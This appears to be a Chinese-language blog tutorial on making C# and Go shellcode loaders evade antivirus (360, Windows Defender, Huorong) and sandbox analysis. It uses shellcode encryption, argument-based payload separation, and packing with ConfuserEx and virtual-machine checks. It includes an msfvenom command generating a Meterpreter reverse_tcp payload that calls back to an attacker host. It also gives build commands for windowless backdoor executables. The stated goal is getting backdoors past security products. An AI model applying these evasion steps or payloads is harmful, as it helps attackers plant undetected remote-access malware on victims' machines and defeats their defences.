免杀对抗—GOC#反VT沙盒资源分离混淆加密
前言
今天的主要内容是反VT沙盒,我们都知道生成的后门会被杀软上穿到沙盒中去运行,去逆向。如此一来我们的后门就很容易被查杀掉,但如果我们对后门进行一些操作,让它在被逆向的时候,反编译出一堆乱码,或者无法反编译,这不就大大提高我们免杀的概率。
实验环境
360,WD,火绒,VT。
C#
原生态
我们先试一下C#原生态上线CS,生成payload。
在VS中新建一个C#的控制台,网上找个C#的加载器替换我们生成的shellcode即可。
生成exe运行上线,不用说原生态包被杀掉的。
混淆加密
用我们前面的混淆思路,试试对shellcode进行加密是否能免杀,无论什么语言思路都是通用的,只要你能用这个语言写出混淆脚本就行。因为脚本比较长就不给大家放了,公开的自己找就行。
这是个加密脚本,把我们的shellcode替换上去,加密key可以改不改也行,然后运行生成加密后的shellcode。
把加密后的shellcode放到解密的脚本里面,先解密再执行,和我们之前说的一样。注意,这里解密的key要和加密的一致,要是你加密的key修改过,解密的也要修改才行。
生成exe然后去检验一下成果,火绒没过。
WD没过,2年前还可以过的。
360没过,说明免杀效果不太好。
至于其它的加密脚本比如base64,XOR啥的自己测试就行了,这里就不多说了。
反沙盒VT
上面我们说过,杀软会把你的文件上传到沙盒或者虚拟机去运行,然后观察行为来确实是否有威胁。那么无非就两种情况,一个是反编译你的文件,逆向出源码。另一个就是运行文件,然后观察行为是否有威胁,这也是常说的动态查杀。C#生成的exe是输入.net可执行文件,我们可以用专门逆向.net的工具来分析试试,这里用到的工具是dnspy。
可以看到刚刚我们混淆生成的consoleApp3.exe这个后门被完全逆向出来了,源码一清二楚。连我这种只会点逆向皮毛的都知道这是后门,更别说杀软了。
我们可以对生成的exe进行加壳,来达到反编译的目的。加壳的工具有很多,可以网上找开源的,也可以花钱去买商业,商业的效果是要比开源的好很多的。
我这里用的是ConfuserEx这个工具,我们先试试效果,直接把要加壳的exe给拖进来。
点击setting,选择我们刚刚拖进来的exe,规则我们选择Maximun,也就是加壳强度最高的。
然后点击protect生成。
会在当前目录下生成一个confused目录,里面就是我们加壳后的exe。
我们再来反编译一下看一下,可以看到旁边多了好多东西,是一开始没有的。我这里截图截取不全,可以自己试试,然后对比一下就OK了。
试试成果,火绒静态查杀能过,但是运行起来就被杀掉了。
WD没问题。
360查杀到。
上面这个就是开源的加壳工具,效果一般般吧。virbox protector这个是要钱的加壳工具,我也没钱买,就申请了一个试用的账号。
同样打开后把exe拖进去,加密选项这里能打勾的都勾上。
不知道为啥一直显示未授权,但是我都申请了试用账号了,既然如此我就不测试这个,有需要的自己试一下就OK。
Golang
原生态
go语言也是近几年免杀比较火的语言,同理先试试原生态。由于没有Go语言的shellcode,我们就生成C的吧,用go来加载C的shellcode。
要注意的是这里接受的是比特流的shellcode,所以要把生成的shellcode中的斜杠替换为0,然后再逗号分割,记得shellcode结尾加逗号表示结束。
cmd输入命令运行即可上线,我这里一运行就被杀了。
go run .\1.go //直接运行
go build 1.go //打包成exe运行
go build -ldflags="-H windowsgui -w -s" 1.go //没有弹窗的exe命令编译
分离+AES加密
还是那句话,思路是所有语言都通用的,只要你写的出来。我们现在试试前面的思路,并且结合起来用,AES加密没啥好说的,就是用Go语言去写一个加解密脚本就行,不会就网上找一个,公开的算法都是有的。这里的分离和之前讲的稍微有点不同,之前是把shellcode分离出去,然后t通过http请求获取。现在是把shellcode和解密的密钥分离出去,以参数的形式获取。
从加密脚本可以看出,confFile的值是由os.Args[1]这个参数传递的,后续也是对confFile进行处理。
可以看到我们运行了3.go这个加密脚本,要加密的shellcode是以参数的形式获取的。
生成了解密的key,和加密后的shellcode。
解密的源码也可以看到,变量key1是由os.Args[1]这个参数传递的,变量payload1是由os.Args[2]这个参数传递的。
运行解密脚本,传递参数。
这边一运行起来火绒就杀掉了。
WD能过,运行起来再查杀还是一样能过,WD查杀powershell比较猛,其它的一般般。
360一样杀了。
这个公开的脚本已经被提取特征了,想要免杀的话有点难。可以试试自己写的脚本或者是内部资源的那种,MFS生成一个16进制的shellcode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2222 -f hex
直接对传入的16进制shellcode执行,没有经过加解密。
和上面一样运行的时候再把shellcode作为参数传入,火绒没有告警,成功上线MSF。
编译成exe去检测,火绒免杀成功。
360还是可以查杀到。
WD居然检测到了。
这个脚本是很普通的一个脚本,没有对shellcode做任何处理,但是还是可以过火绒。因为这不是公开的脚本,特征没有被提取到,其实很多公开的脚本并不是说思路或者加密不好,只是使用的人多了,特征已经被杀软提取了,这时候你还想用它免杀是很难的。
上面讲的的分离是把shellcode当做参数去传递,其实还有一种分离是资源分离,就是把生成的payload文件当做资源去读取,类似之前的http获取payload文件,由于网上找到脚本有点问题,自己又不会go,只能放弃介绍了。
反沙盒VT
我们试试对用go生成的exe加壳,看看免杀效果咋样。
直接把exe拖进去,勾选检查虚拟机。
然后生成,我们到虚拟机看看是否能运行起来,可以看到运行之后会弹出提示。
但遗憾的是加壳之后依旧会被杀,这开源的加壳工具没办了。
总结
今天主要讲了两个语言,Go和C#。免杀思路和之前讲的python和C差不多,主要是多了个反沙盒VT的内容,主要是给它加个壳,但开源的工具难免会被杀的。还有一些工具不支持对某些语言编译成的exe去加壳,这时候就得自己写个壳了。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。